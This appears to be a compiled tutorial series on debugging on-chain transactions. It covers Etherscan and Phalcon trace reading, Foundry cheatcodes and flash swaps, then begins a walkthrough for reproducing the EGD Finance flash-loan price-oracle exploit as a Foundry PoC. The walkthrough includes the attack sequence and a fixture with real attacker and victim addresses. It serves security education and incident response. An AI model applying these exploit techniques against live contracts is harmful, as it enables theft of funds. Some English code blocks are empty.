ABI to interface: When developing POC, you need to call other contracts but you need an interface. We can use this tool to help you quickly generate the interfaces. Go to Etherscan to copy the ABI, and paste it on the tool to see the generated Interface.

[Example](https://etherscan.io/address/0xb3da8d6da3ede239ccbf576ca0eaa74d86f0e9d3#code).

![圖片](https://user-images.githubusercontent.com/52526645/210587442-e7853d8b-0613-426e-8a27-d70c80e2a42d.png)
![圖片](https://user-images.githubusercontent.com/52526645/210587682-5fb07a01-2b21-41fa-9ed5-e7f45baa0b3e.png)

ETH Calldata Decoder: If you want to decode Input data without the ABI, this is the tool you need. Sam's transaction viewer I introduced earlier also supports Input data decoding. 

![圖片](https://user-images.githubusercontent.com/52526645/210585761-efd8b6f1-b901-485f-ae66-efaf9c84869c.png)

Obtain ABI for unverified contracts: If you encounter a contract that is not verified, you can use this tool to try to work out the function signatures. [Example](https://abi.w1nt3r.xyz/mainnet/0xaE9C73fd0Fd237c1c6f66FE009d24ce969e98704)

![圖片](https://user-images.githubusercontent.com/52526645/210588945-701b0e22-7390-4539-9d2f-e13479b52824.png)

### Decompile tools
[Etherscan-decompile bytecode](https://etherscan.io/address/0xaE9C73fd0Fd237c1c6f66FE009d24ce969e98704#code) |

[Dedaub](https://library.dedaub.com/decompile) | [heimdall-rs](https://github.com/Jon-Becker/heimdall-rs)

Etherscan has a built-in decompilation feature, but the readability of the result is often poor. Personally, I often use Dedaub, which produces better decompiled code. It is my recommended decompiler. Let's use a MEV Bot being attacked as an example You can try to decompile it for yourself using this [contract](https://twitter.com/1nf0s3cpt/status/1577594615104172033).

First, copy the Bytecodes of the unverified contract and paste it on Dedaub, and click Decompile. 

![截圖 2023-01-05 上午10 33 15](https://user-images.githubusercontent.com/107249780/210688395-927c6126-b6c1-4c6d-a0c7-a3fea3db9cdb.png)

![圖片](https://user-images.githubusercontent.com/52526645/210591478-6fa928f3-455d-42b5-a1ac-6694f97386c2.png)

If you want to learn more, you can refer to the following videos.

## Resources

# OnChain Transaction Debugging: 2. Warm up

Author: [Sun](https://twitter.com/1nf0s3cpt)

链上交易数据包含从简单的单笔交易转帐、1 个 DeFi 合约交互、多个 DeFi 合约交互、闪电贷套利、治理提案、跨链交易等等，这一节我们先来热身一下，先从简单的开始。我将介绍通常使用区块链浏览器 Etherscan 哪些讯息是我们所在意的，再来我们会使用交易分析工具 [Phalcon](https://phalcon.blocksec.com/) 看一下这些交易从简单的转帐、UniSWAP上 Swap、Curve 3pool 增加流动性、Compound 治理提案、闪电贷的调用差异。

## 开始进入热身篇
- 首先环境上需要先安装 [Foundry](https://github.com/foundry-rs/foundry)，安装方法请参考 [instructions](https://book.getfoundry.sh/getting-started/installation.html).
    - 测试主要会用到 [Forge test](https://book.getfoundry.sh/reference/forge/forge-test)，如果第一次使用 Foundry，可以参考 [Foundry book](https://book.getfoundry.sh/)、[Foundry @EthCC](https://www.youtube.com/watch?v=wJnywGB33O4)、[WTF Solidity - Foundry](https://github.com/AmazingAng/WTF-Solidity/blob/main/Topics/Tools/TOOL07_Foundry/readme.md)
- 每条链上都有专属的区块链浏览器，这节我们都会使用 Ethereum 主网来当案例所以可以透过 Etherscan 来分析.
- 通常我会特别想看的栏位包含:
    -  Transaction Action: 因为复杂的交易中 ERC-20 Tokens Transferred 会很复杂，可读性不好，所以可以透过 Transaction Action 看一下关键行为但不一定每笔交易都有
    -  From: msg.sender 执行这笔交易的来源钱包地址
    -  Interacted With (To): 跟哪个合约交互
    - 

 ERC-20 Tokens Transferred: 代币转移流程
    -  Input Data: 交易的原始 Input 资料，可以看到呼叫什么 Function 和带入什么 Value
- 如果还不知道常用工具有哪些可以回顾第一课交易分析[工具篇](https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/01_tools)

## 链上转帐
![图片](https://user-images.githubusercontent.com/52526645/211021954-6c5828be-7293-452b-8ef6-a268db54b932.png)
从上图[例子](https://etherscan.io/tx/0x836ef3d01a52c4b9304c3d683f6ff2b296c7331b6fee86e3b116732ce1d5d124)可以解读为:

From: 发送这笔交易的来源钱包地址

Interacted With (To): Tether USD (USDT) 合约

ERC-20 Tokens Transferred: 从用户A 钱包转 651.13 USDT 到用户 B

Input Data: 呼叫了 transfer function

透过 [phalcon](https://phalcon.blocksec.com/tx/eth/0x836ef3d01a52c4b9304c3d683f6ff2b296c7331b6fee86e3b116732ce1d5d124) 来看: 从调用流程来看就只有一个 `Call USDT.transfer`，要注意的是 Value. 因为 EVM 不支持浮点数的运算，所以使用精度代表，每个 Token 都要注意它的精度大小，标准 ERC-20 代币精度为 18，但也有特例，如 USDT 为例，精度是 6 所以 Value 带入的值为 651130000，如果精度处理不当就容易造成问题。精度的查询方式可以到 [Etherscan](https://etherscan.io/token/0xdac17f958d2ee523a2206206994597c13d831ec7)

代币合约上看到。

![图片](https://user-images.githubusercontent.com/52526645/211123692-d7224ced-bc0b-47a1-a876-2af086e2fce9.png)

![图片](https://user-images.githubusercontent.com/52526645/211022964-f819b35c-d442-488c-9645-7733af219d1c.png)

## Uniswap Swap

![图片](https://user-images.githubusercontent.com/52526645/211029091-c24963c7-d2f8-44f4-ad6a-a9185f98ec85.png)

从上图[例子](https://etherscan.io/tx/0x1cd5ceda7e2b2d8c66f8c5657f27ef6f35f9e557c8d1532aa88665a37130da84) 可以解读为:

Transaction Action: 很直觉就可以知道用户在 Uniswap 上进行 Swap，将 12,716 USDT 换成 7,118 UNDEAD。

Interacted With (To): 这个例子是一个 MEV Bot 合约呼叫 Uniswap 合约进行 Swap

ERC-20 Tokens Transferred: Token 交换的过程

透过 [phalcon](https://phalcon.blocksec.com/tx/eth/0x1cd5ceda7e2b2d8c66f8c5657f27ef6f35f9e557c8d1532aa88665a37130da84) 来看: MEV Bot 呼叫 Uniswap V2 USDT/UNDEAD 交易对合约呼叫 [swap](https://docs.uniswap.org/contracts/v2/reference/smart-contracts/pair#swap-1) 函示来进行代币兑换。

![图片](https://user-images.githubusercontent.com/52526645/211029737-4a606d32-2c96-41e9-aef7-82fe1fb4b21d.png)

我们使用 Foundry 来模拟操作使用 1BTC 在

Uniswap 换成 DAI，[范例程式码](https://github.com/SunWeb3Sec/DeFiLabs/blob/main/src/test/Uniswapv2.sol)参考，执行以下指令
```sh
forge test --contracts ./src/test/Uniswapv2.sol -vvvv
```

如下图所示我们透过呼叫 Uniswap_v2_router.[swapExactTokensForTokens](https://docs.uniswap.org/contracts/v2/reference/smart-contracts/router-02#swapexacttokensfortokens) 函式，将 1BTC 换到 16,788 DAI.

![圖片](https://user-images.githubusercontent.com/52526645/211143644-6ed295f0-e0d8-458b-a6a7-71b2da8a5baa.png)

## Curve 3pool - DAI/USDC/USDT

![图片](https://user-images.githubusercontent.com/52526645/211030934-14fccba9-5239-480c-b431-21de393a6308.png)

从上图[例子](https://etherscan.io/tx/0x667cb82d993657f2779507a0262c9ed9098f5a387e8ec754b99f6e1d61d92d0b)可以解读为:

在 Curve 3pool 增加流动性

Interacted With (To): Curve.fi: DAI/USDC/USDT Pool

ERC-20 Tokens Transferred: 用户 A 转入 3,524,968.44 USDT 到 Curve 3 pool，然后 Curve 铸造 3,447,897.54 3Crv 代币给用户 A.

透过 [phalcon](https://phalcon.blocksec.com/tx/eth/0x667cb82d993657f2779507a0262c9ed9098f5a387e8ec754b99f6e1d61d92d0b) 来看: 从调用流程来看执行了三个步骤 1.add_liquidity

2.transferFrom 3.mint

![图片](https://user-images.githubusercontent.com/52526645/211032540-b8ad83af-44cf-48ea-b22c-6c79d4dac1af.png)

## Compound propose

![图片](https://user-images.githubusercontent.com/52526645/211033609-60713c9d-1760-45d4-957f-a74e08abf9a5.png)

从上图[例子](https://etherscan.io/tx/0xba69b455c511c500e0be9453cf70319bc61e29eb4235a6e5ca5fe6ddf1934159)可以解读为: 用户在 Compound 治理合约上提交了一个提案，从 Etherscan 上可以点击 Decode Input Data 就可以看到提案内容。

![图片](https://user-images.githubusercontent.com/52526645/211033906-e3446f69-404e-4347-a0c6-e1b622039c5a.png)

透过 [phalcon](https://phalcon.blocksec.com/tx/eth/0xba69b455c511c500e0be9453cf70319bc61e29eb4235a6e5ca5fe6ddf1934159) 来看: 透过呼叫 propose 函式来提交 proposal 得到编号 44 号提案。

![图片](https://user-images.githubusercontent.com/52526645/211034346-a600cbf4-eed9-47ca-8b5a-88232808f3a3.png)

## Uniswap Flashswap

这里我们使用 Foundry 来模拟操作看看如何在 Uniswap 上使用闪电贷，[官方Flash

swap介绍](https://docs.uniswap.org/contracts/v2/guides/smart-contract-integration/using-flash-swaps)

[范例程式码](https://github.com/SunWeb3Sec/DeFiLabs/blob/main/src/test/Uniswapv2_flashswap.sol)参考

![图片](https://user-images.githubusercontent.com/52526645/211125357-695c3fd0-4a56-4a70-9c98-80bac65586b8.png)

```sh
forge test --contracts ./src/test/Uniswapv2_flashswap.sol -vv
```
以这个例子透过 Uniswap UNI/WETH 交易兑上进行闪电贷借出 100 颗 WETH，再还回去给 Uniswap. 注意还款时要付 0.3% 手续费。

从下图调用流程可以看出，呼叫 swap 进行 flashswap 然后透过 callback uniswapV2Call 来还款。

![图片](https://user-images.githubusercontent.com/52526645/211038895-a1bc681a-41cd-4900-a745-3d3ddd0237d4.png)

简单区分一下 Flashloan 和 Flashswap 的差异，两种都是无需抵押资产就可以借出 Token，且需要在同一个区块内还回去不然交易就会失败，假如透过 token0/token1 进行 Flashloan 借出 token0 就要还 token0回去，Flashswap 借出 token0 可以还 token0 或 token1 回去，比较弹性。

更多 DeFi 基本操作可以参考 [DeFiLabs](https://github.com/SunWeb3Sec/DeFiLabs)

## Foundry cheatcodes

Foundry 的 cheatcodes 在我们做链上分析必须使用到的，这边我介绍一下常用到的函式，更多介绍可以参考 [Cheatcodes Reference](https://book.getfoundry.sh/cheatcodes/)

- createSelectFork:

指定这次测试要复制哪个网路和区块高度，注意每条链的 RPC 要写在 [foundry.toml](https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/foundry.toml)
- deal: 设定测试钱包余额 
    -  设定 ETH 余额 `deal(address(this), 3 ether);`
    -  设定 Token 余额 `deal(address(USDC), address(this), 1 * 1e18);`
- prank: 模拟指定钱包身份，只有在下一个呼叫有效，下一个 msg.sender 是会所指定的钱包，例如使用巨鲸钱包转帐
- startPrank: 模拟指定钱包身份，在没有执行`stopPrank()`之前，所有 msg.sender 都会是指定的钱包地址
- label: 将钱包地址标签化，方便在使用 Foundry debug 时提高可读性
- roll: 调整区块高度
- warp: 调整 block.timestamp

谢谢收看，我们准备进入下一课

[Foundry book](https://book.getfoundry.sh/)

[Awesome-foundry](https://github.com/crisgarner/awesome-foundry)

[Foundry @EthCC](https://www.youtube.com/watch?v=wJnywGB33O4) | [Slides](https://docs.google.com/presentation/d/1AuQojnFMkozOiR8kDu5LlWT7vv1EfPytmVEeq1XMtM0/edit#slide=id.g13d8bd167cb_0_0)

[WTF Solidity - Foundry](https://github.com/AmazingAng/WTF-Solidity/blob/main/Topics/Tools/TOOL07_Foundry/readme.md)

[Flashloan vs Flashswap](https://blog.infura.io/post/build-a-flash-loan-arbitrage-bot-on-infura-part-i)

Translation: Helen

Community [Discord](https://discord.gg/3y3d9DMQ)

This article is published on XREX and [WTF Academy](https://github.com/AmazingAng/WTF-Solidity#%E9%93%BE%E4%B8%8A%E5%A8%81%E8%83%81%E5%88%86%E6%9E%90)

On-chain data can include simple one-time transfers, interactions with one DeFi contract or multiple DeFi contracts, flash loan arbitrage, governance proposals, cross-chain transactions, and more. In this section, let’s begin with a simple start.
I will introduce on BlockChain Explorer - Etherscan what we are interested in, and then use [Phalcon](https://phalcon.blocksec.com/) to compare the differences between these transaction function calls: Assets transfer, swap on UniSWAP, increase liquidity on Curve 3pool, Compound proposals, Uniswap Flashswap.

## Start to warm up

- The first step is to install [Foundry](https://github.com/foundry-rs/foundry) in the environment. Please follow the installation [instructions](https://book.getfoundry.sh/getting-started/installation).
  - Forge is a Major test tool on the Foundry

platform.If it is your first time to use Foundry, you can refer to [Foundry book](https://book.getfoundry.sh/), [Foundry @EthCC](https://www.youtube.com/watch?v=wJnywGB33O4), [WTF Solidity - Foundry](https://github.com/AmazingAng/WTF-Solidity/blob/main/Topics/Tools/TOOL07_Foundry/readme.md).
- Each chain has its own blockchain explorer. In this section, we will use Ethereum's blockchain network as a case study.
- Typical information I usually refer to includes:
  - Transaction Action: Since the transfer of complex ERC-20 tokens can be difficult to discern, Transaction Action can provide the key behavior of the transfer. However, not all transactions include this information.
  - From: msg.sender, the source wallet address that executes this transaction.
  - Interacted With (To): Which contract to interact with
  - ERC-20 Token Transfer: Token Transfer Process
  - Input Data: The raw input data of the transaction. You can see what Function was called and what Value was brought in.
- If you don't know what tools are commonly used, you can view the transaction analysis tools in [the first

lesson](https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/01_tools/en).

## Assets transfer

![圖片](https://user-images.githubusercontent.com/52526645/211021954-6c5828be-7293-452b-8ef6-a268db54b932.png)
The following can be derived from the [Etherscan](https://etherscan.io/tx/0x836ef3d01a52c4b9304c3d683f6ff2b296c7331b6fee86e3b116732ce1d5d124) example above:

- From: This transaction's source EOA wallet address
- Interacted With (To): Tether USD (USDT) Contract
- ERC-20 Tokens Transferred: Transfer 651.13 USDT from user A's wallet to user B
- Input Data: Called transfer function

According to [Phalcon](https://phalcon.blocksec.com/tx/eth/0x836ef3d01a52c4b9304c3d683f6ff2b296c7331b6fee86e3b116732ce1d5d124) "Invocation Flow" :

- There is only one ''Call USDT.transfer''. However, you should pay attention to the "Value".Because the Ethereum Virtual Machine (EVM) does not support floating-point operations, decimals representation is used instead.
- Each token has its own precision, the number of decimal places used to represent the value of the token. In ERC-20 tokens, the decimals are

usually 18 digits, while USDT has 6 digits. If the precision of the token is not handled properly, problems will arise.
- You can query it on the Etherscan [token contract](https://etherscan.io/token/0xdac17f958d2ee523a2206206994597c13d831ec7).

![圖片](https://user-images.githubusercontent.com/52526645/211123692-d7224ced-bc0b-47a1-a876-2af086e2fce9.png)

![圖片](https://user-images.githubusercontent.com/52526645/211022964-f819b35c-d442-488c-9645-7733af219d1c.png)

![圖片](https://user-images.githubusercontent.com/52526645/211029091-c24963c7-d2f8-44f4-ad6a-a9185f98ec85.png)

The following can be derived from the [Etherscan](https://etherscan.io/tx/0x1cd5ceda7e2b2d8c66f8c5657f27ef6f35f9e557c8d1532aa88665a37130da84) example above:

- Transaction Action: A user performs Swap on Uniswap V2, exchanging 12,716 USDT for 7,118 UNDEAD.
- From: This transaction's source wallet address
- Interacted With (To): A MEV Bot contract called Uniswap contract for Swap.
- ERC-20 Tokens Transferred: Token exchange process

According to

[Phalcon](https://phalcon.blocksec.com/tx/eth/0x1cd5ceda7e2b2d8c66f8c5657f27ef6f35f9e557c8d1532aa88665a37130da84) "Invocation Flow" :

- MEV Bot calls the Uniswap V2 USDT/UNDEAD trading pair contract to call the swap function to perform token exchange.

![圖片](https://user-images.githubusercontent.com/52526645/211029737-4a606d32-2c96-41e9-aef7-82fe1fb4b21d.png)

### Foundry

We use Foundry to simulate the operation of using 1BTC to exchange for DAI in Uniswap.

- [Sample code reference](https://github.com/SunWeb3Sec/DeFiLabs/blob/main/src/test/Uniswapv2.sol), execute the following command:
```sh
```
- According to the figure - we swap 1 BTC to 16,788 DAI by calling the Uniswap\_v2\_router.[swapExactTokensForTokens](https://docs.uniswap.org/contracts/v2/reference/smart-contracts/router-02#swapexacttokensfortokens) function.

## Curve 3pool -

DAI/USDC/USDT

![圖片](https://user-images.githubusercontent.com/52526645/211030934-14fccba9-5239-480c-b431-21de393a6308.png)

The following can be derived from the [Etherscan](https://etherscan.io/tx/0x667cb82d993657f2779507a0262c9ed9098f5a387e8ec754b99f6e1d61d92d0b) example above:

- The purpose of this transaction is to add Liquidity at Curve three pools.
- Interacted With (To): Curve.fi: DAI/USDC/USDT Pool
- ERC-20 Tokens Transferred: User A transferred 3,524,968.44 USDT to the Curve 3 pools, and then Curve minted 3,447,897.54 3Crv tokens for User A.

According to [Phalcon](https://phalcon.blocksec.com/tx/eth/0x667cb82d993657f2779507a0262c9ed9098f5a387e8ec754b99f6e1d61d92d0b) "Invocation Flow" :

- Based on the call sequence, three steps were executed:
1.add\_liquidity 2.transferFrom 3.mint.

![圖片](https://user-images.githubusercontent.com/52526645/211032540-b8ad83af-44cf-48ea-b22c-6c79d4dac1af.png)

## Compound

propose

![圖片](https://user-images.githubusercontent.com/52526645/211033609-60713c9d-1760-45d4-957f-a74e08abf9a5.png)

The following can be derived from the [Etherscan](https://etherscan.io/tx/0xba69b455c511c500e0be9453cf70319bc61e29eb4235a6e5ca5fe6ddf1934159) example above:

- The user submitted a proposal on the Compound. The contents of the proposal can be viewed by clicking "Decode Input Data" on Etherscan.

![圖片](https://user-images.githubusercontent.com/52526645/211033906-e3446f69-404e-4347-a0c6-e1b622039c5a.png)

According to [Phalcon](https://phalcon.blocksec.com/tx/eth/0xba69b455c511c500e0be9453cf70319bc61e29eb4235a6e5ca5fe6ddf1934159) "Invocation Flow" :

- Submitting a proposal through the propose function results in proposal number 44.

![圖片](https://user-images.githubusercontent.com/52526645/211034346-a600cbf4-eed9-47ca-8b5a-88232808f3a3.png)

Here we use Foundry to simulate operations - how to use flash loans on Uniswap. [Official Flash swap

introduction](https://docs.uniswap.org/contracts/v2/guides/smart-contract-integration/using-flash-swaps)

- [Sample Code](https://github.com/SunWeb3Sec/DeFiLabs/blob/main/src/test/Uniswapv2_flashswap.sol) Reference, execute the following command:

```sh
```

![圖片](https://user-images.githubusercontent.com/52526645/211125357-695c3fd0-4a56-4a70-9c98-80bac65586b8.png)

- In this example, a flash loan of 100 WETH is borrowed through the Uniswap UNI/WETH exchange. Note that a 0.3% fee must be paid on repayments.
- According to the figure - call flow, flashswap calls swap, and then repays by calling back uniswapV2Call.

![圖片](https://user-images.githubusercontent.com/52526645/211038895-a1bc681a-41cd-4900-a745-3d3ddd0237d4.png)

- Further Introduction to Flashloan and Flashswap:

  - A. Common points:
Both can lend Tokens without collateralizing assets, and they need to be returned in the same block, otherwise the transaction fails.

  - B. The difference:
If token0 is borrowed through Flashloan token0/token1, token0 must be returned. Flashswap lends

token0, and you can return token0 or token1, which is more flexible.

For more DeFi basic operations, please refer to [DeFiLab](https://github.com/SunWeb3Sec/DeFiLabs).

Foundry's cheatcodes are essential for conducting chain analysis. Here, I will introduce some commonly used functions. More information can be found in the [Cheatcodes Reference](https://book.getfoundry.sh/cheatcodes/).

- createSelectFork: Specifies a network and block height to copy for testing. Must include the RPC for each chain in [foundry.toml](https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/foundry.toml).
- deal: Sets the balance of a test wallet.
  - Set ETH balance:  `deal(address(this), 3 ether);`
  - Set Token balance: `deal(address(USDC), address(this), 1 * 1e18);`
- prank: Simulate the identity of a specified wallet. It is only effective for the next call and will set the msg.sender to the specified wallet address. Such as simulating a transfer from a whale wallet.
- startPrank: Simulate the identity of a specified wallet. It will set the msg.sender to the specified wallet address for all calls until `stopPrank()` is executed.
- label: Labels a wallet

address for improved readability when using Foundry debug.
- roll: Adjusts the block height.
- warp: Adjusts the block timestamp.

Thanks for following along! Time to jump into the next lesson.

# OnChain Transaction Debugging: 3. Write Your Own PoC

Author: [Ghost](https://twitter.com/h0wsO1)

在 [01_Tools](/Topics/Onchain_debug/01_tools/readme.md) 教学中，我们学到了如何使用 Debug Tools 来观察一笔交易和智能合约互动的过程。

在 [02_Warm](/Topics/Onchain_debug/02_warmup/readme.md) 教学中，我们实际分析了一笔与 DEX 互动的交易，并且使用 Foundry 与 DEX 互动。

在本次教学中，我们将带你实际分析一个攻击事件，并逐步带你利用 Foundry 测试框架撰写代码，完成 Reproduce PoC。

## 为什么学习撰写 Reproduce PoC 很重要？

DeFiHackLabs 期望更多人可以关注 Web3 安全，当攻击事件发生时，有更多人可以一起分析事件原因，为安全网路做出贡献。

1. 作为甲方，锻炼事件响应 (incident response) 的能力。
2. 作为乙方，锻炼威胁研究分析能力以及 Bug bounty 写 PoC 的技能，获得更有竞争力的赏金报酬。
3. 帮助蓝队更好的调校机器学习模型，例如 [Forta Network](https://forta.org/blog/how-fortas-predictive-ml-models-detect-attacks-before-exploitation/)。
4. 比起阅读安全机构的验尸报告，自己撰写 Reproduce 更能深刻理解骇客的攻击思路。
5. 锻炼 Solidity 编程熟悉度，区块链本质上就是个庞大的公开资料库。

## 在学习撰写 Reproduce PoC 之前，会需要具备的知识

1. 暸解常见智能合约漏洞样态，可以参考 [DeFiVulnLabs](https://github.com/SunWeb3Sec/DeFiVulnLabs) 进行练习。
2. 暸解 DeFi 基础建设如何运作，以及智能合约与智能合约之间如何互动。

## 价格预言机原理简介

在区块链的世界中，智能合约的状态变量与参数都是与世隔离的，智能合约没办法像传统胖应用一样能够做到自启动、自行透过 API 抓取价格资讯等操作。

智能合约要取得外部资料，通常有两种作法：

1. 有一个实体 EOA，进行主动喂价。
2.

使用预言机，也就是"参照某个智能合约所储存的参数，作为喂价资讯"。

举一个例子：我有一个借贷合约，它想要取得 ETH 的价格来判断借款人的部位是否可以被清算，我可以怎么做？

在这个例子中，ETH 的价格是外部资料。

借贷合约想要取得 ETH 的价格资料，它可以向 Uniswap V2 获取 ETH 价格资讯。

我们知道 `x * y = k` AMM 算法中，x 代币的价格 = `k / y`。

所以，我们若想取得 ETH 的价格，可以找到 Uniswap V2 WETH/USDC 交易对合约: `0xb4e16d0168e52d35cacd2c6185b44281ec28c9dc`。

![UniV2PairInfo](https://user-images.githubusercontent.com/26408530/211231355-0d1fb43e-280e-4328-b71e-9797be5ce7ec.png)

本文撰写时，该合约的代币储备量：

WETH: `33,906.6145928` 颗
USDC: `42,346,768.252804` 颗

我们套用 `x * y = k` 公式，就可以知道每颗 ETH 对应 USDC 的价格：

`42,346,768.252804 / 33,906.6145928 = 1248.9235`

(存在细微差距，通常代表交易手续费收入或是有人意外转入代币，可被 `skim()` 取走)

所以，套利合约若想要取得 ETH 的价格，Solidity Pseudocode 大致可以理解成：

```solidity=
uint256 UniV2_ETH_Reserve = WETH.balanceOf(0xb4e16d0168e52d35cacd2c6185b44281ec28c9dc);
uint256 UniV2_USDC_Reserve = USDC.balanceOf(0xb4e16d0168e52d35cacd2c6185b44281ec28c9dc);
uint256 ETH_Price = UniV2_USDC_Reserve / UniV2_ETH_Reserve;
```

> 请注意，这种写法容易被操纵预言机价格，请不要在生产环境这么做。

如果需要详细暸解 Uniswap V2 算法原理，推荐参考 [Smart Contract Programmer

教学影片](https://www.youtube.com/watch?v=Ar4Ik7Bov0U)。

如果需要详细暸解价格预言机操纵原理，推荐参考 [WTFSolidity 教学文章](https://github.com/WTFAcademy/WTF-Solidity/blob/main/S15_OracleManipulation/readme.md)。

## 现实中的价格操纵案例

大多数攻击场景为：

1. 调换价格预言机地址
    - 根本原因: 特权操作缺乏身份验证机制
    - 案例: [Rikkei Finance](https://github.com/SunWeb3Sec/DeFiHackLabs#20220415-rikkei-finance---access-control--price-oracle-manipulation)
2. 攻击者透过闪电贷，瞬间抽走预言机的流动性，使受害合约取得异常的价格资讯
    - 此漏洞常在 GetPrice、Swap、StackingReward、Transfer(with burn fee) 等关键功能被利用
    - 根本原因: 项目方使用了不安全的预言机，或是未实现 TWAP 时间加权平均价格。
    - 案例: [One Ring Finance](https://github.com/SunWeb3Sec/DeFiHackLabs#20220321-onering-finance---flashloan--price-oracle-manipulation)

> Tips: 在进行 Code Review 时，最好注意 `balanceOf()` 使用上是否足够严谨。

## 手把手撰写 PoC - 以 EGD Finance 为例

### Step1: Infomation gathering

当攻击发生时，通常 Twitter 会是安全分析师的主战场，会有各路大佬在 Twitter 上发布自己对于攻击事件的最新发现。

攻击事件刚发生时，肯定是各种混乱，先找个文件整理你所发现到的资讯吧！

1. Transaction ID
2. Attacker Address(EOA)
3. Attack Contract Address
4. Vulnerable Address
5. Total Loss
6. Reference Links
7. Post-mortem Links
8. Vulnerable snippet
9. Audit History

> Tips: 建议使用

DeFiHackLabs 提供的 [Exploit-Template.sol](https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/script/Exploit-template.sol) 模板。

---

### Step2: Transaction Debugging

根据过往观察，大约攻击发生后 12 小时，通常各路资讯对于攻击事件分析都梳理出 90% 以上了，此时手动进行交易分析都不会太困难。

我们之所以使用 EGD Finance 作为教学范例，原因是：

1. 读者可以透过真实环境中学习价格预言机操纵风险
2. 读者可以理解攻击者如何透过价格操纵获利
3. 读者可以顺便学到闪电贷运作原理
4. 攻击者只使用一个 Transaction 完成攻击，没有复杂的前置动作，Reproduce 较简单

让我们使用 Blocksec 开发的 Phalcon 工具来分析 EGD Finance 攻击事件，[分析连结](https://phalcon.blocksec.com/tx/bsc/0x50da0b1b6e34bce59769157df769eb45fa11efc7d0e292900d6b0a86ae66a2b3)。

<img width="1736" alt="PhalconOverview" src="https://user-images.githubusercontent.com/26408530/211231413-25e31110-4e3a-41c7-9dbb-d9fdc3a0e8da.png">

在 Ethereum Virtual Machine 中，你会看到三种调用方式：

1. Call: 一般的跨合约函数调用方式，这通常会改变被调用合约的存储
2. StaticCall: 静态调用，不会改变被调用合约的存储，是属于跨合约读取状态变数的操作。
3. DelegateCall: 委任调用，`msg.sender` 不会改变，通常用于 Proxy 代理模式，详细说明可以参考 [WTFSolidity 教程](https://github.com/WTFAcademy/WTF-Solidity/tree/main/23_Delegatecall)。

请注意，Internal Function Call 是看不到的。

---

闪电贷攻击套路通常是:

1. 确认可从 DEX

借走的余额，以及确认受害者合约有足够的余额使攻击者获利
    - 这意味著在 Tx 前半部会有一些 Static Call
2. 呼叫借贷函数，从 DEX 或 Landing Protocol 收到闪电贷款
    - 重点: 寻找以下 Function Call
    - UniswapV2, Pancakeswap: `.swap()`
    - Balancer: `flashLoan()`
    - DODO: `.flashloan()`
    - AAVE: `.flashLoan()`
3. 借贷平台回调攻击者合约
    - UniswapV2: `.uniswapV2Call()`
    - Pancakeswap: `.Pancakeswap()`
    - Balancer: `.receiveFlashLoan()`
    - DODO: `.DXXFlashLoanCall()`
    - AAVE: `.executeOperation()`
4. 攻击者与受害合约互动，利用漏洞获利
5. 闪电贷还款
    - 主动还款
    - 设定 approve，让借贷平台用 `transferFrom()` 取走借款。

小练习: 你能定位出 EGD Finance Exploit Transaction 各个阶段在哪吗？试著找出闪电贷、回调函数、漏洞利用、了结获利在哪。

`Expand Level: 3`

https://phalcon.blocksec.com/tx/bsc/0x50da0b1b6e34bce59769157df769eb45fa11efc7d0e292900d6b0a86ae66a2b3

<img width="1898" alt="TryToDecodeFromYourEyes" src="https://user-images.githubusercontent.com/26408530/211231441-b5cd2cd8-a438-4344-b014-6b8e92ab2532.png">

> Tips: 实战时，尚无法理清整个 Transaction 的攻击逻辑的时候，可以先试著从最开始一步一步拷贝攻击者的 CALL 足迹，多做笔记，再回过头整理攻击者的思路。

<details><summary>解答</summary>

<img width="1898" alt="TryToDecodeFromYourEyesAnwser"

src="https://user-images.githubusercontent.com/26408530/211231457-74b3ba87-45fc-4fe0-ace2-678247f00f58.png">

</details>

---

截至目前为止，我们已对攻击 Tx 有初步轮廓，让我们根据现有发现，完成一部分 Reproduce Code 吧:

Step1. 完成 fixtures

<details><summary>点我展开代码</summary>

pragma solidity ^0.8.17;

import "./interface.sol";

// @KeyInfo - Total Lost : ~36,044 US$
// Attacker : 0xee0221d76504aec40f63ad7e36855eebf5ea5edd
// Attack Contract : 0xc30808d9373093fbfcec9e026457c6a9dab706a7
// Vulnerable Contract : 0x34bd6dba456bc31c2b3393e499fa10bed32a9370 (Proxy)
// Vulnerable Contract : 0x93c175439726797dcee24d08e4ac9164e88e7aee (Logic)
// Attack Tx : https://bscscan.com/tx/0x50da0b1b6e34bce59769157df769eb45fa11efc7d0e292900d6b0a86ae66a2b3

// @Info
// Vulnerable Contract Code : https://bscscan.com/address/0x93c175439726797dcee24d08e4ac9164e88e7aee#code#F1#L254
// Stake Tx : https://bscscan.com/tx/0x4a66d01a017158ff38d6a88db98ba78435c606be57ca6df36033db4d9514f9f8

// @Analysis
// Blocksec :

https://twitter.com/BlockSecTeam/status/1556483435388350464
// PeckShield : https://twitter.com/PeckShieldAlert/status/1556486817406283776

// 宣告全局变量, 必须为 constant 类型
CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
IPancakePair constant USDT_WBNB_LPPool = IPancakePair(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE);
IPancakePair constant EGD_USDT_LPPool = IPancakePair(0xa361433E409Adac1f87CDF133127585F8a93c67d);
IPancakeRouter constant pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
address constant EGD_Finance = 0x34Bd6Dba456Bc31c2b3393e499fa10bED32a9370;
address constant usdt = 0x55d398326f99059fF775485246999027B3197955;
address constant egd = 0x202b233735bF743FA31abb8f71e641970161bF98;

contract Attacker is Test { // 模拟的攻击者(EOA)
    Exploit exploit = new Exploit();

    constructor() { // 也可以写成 function setUp() public {}
        // label 可以将钱包地址标签化，方便在使用 forge test -vvvv 时提高可读性
        cheat.label(address(USDT_WBNB_LPPool), "USDT_WBNB_LPPool");
        cheat.label(address(EGD_USDT_LPPool), "EGD_USDT_LPPool");
       
       cheat.label(address(pancakeRouter), "pancakeRouter");
        cheat.label(EGD_Finance, "EGD_Finance");
        cheat.label(usdt, "USDT");
        cheat.label(egd, "EGD");
        /* ------------------------------------------------------------------------------------------- */
        cheat.roll(20245539); //注意: 必须 fork 攻击 tx 的前一个 block, 因为此时受害合约状态尚未改变!!
        console.log("-------------------------------- Start Exploit ----------------------------------");
    }
}
```

<br>

Step2. 模拟攻击者调用 harvest 函数

        cheat.label(address(pancakeRouter), "pancakeRouter");
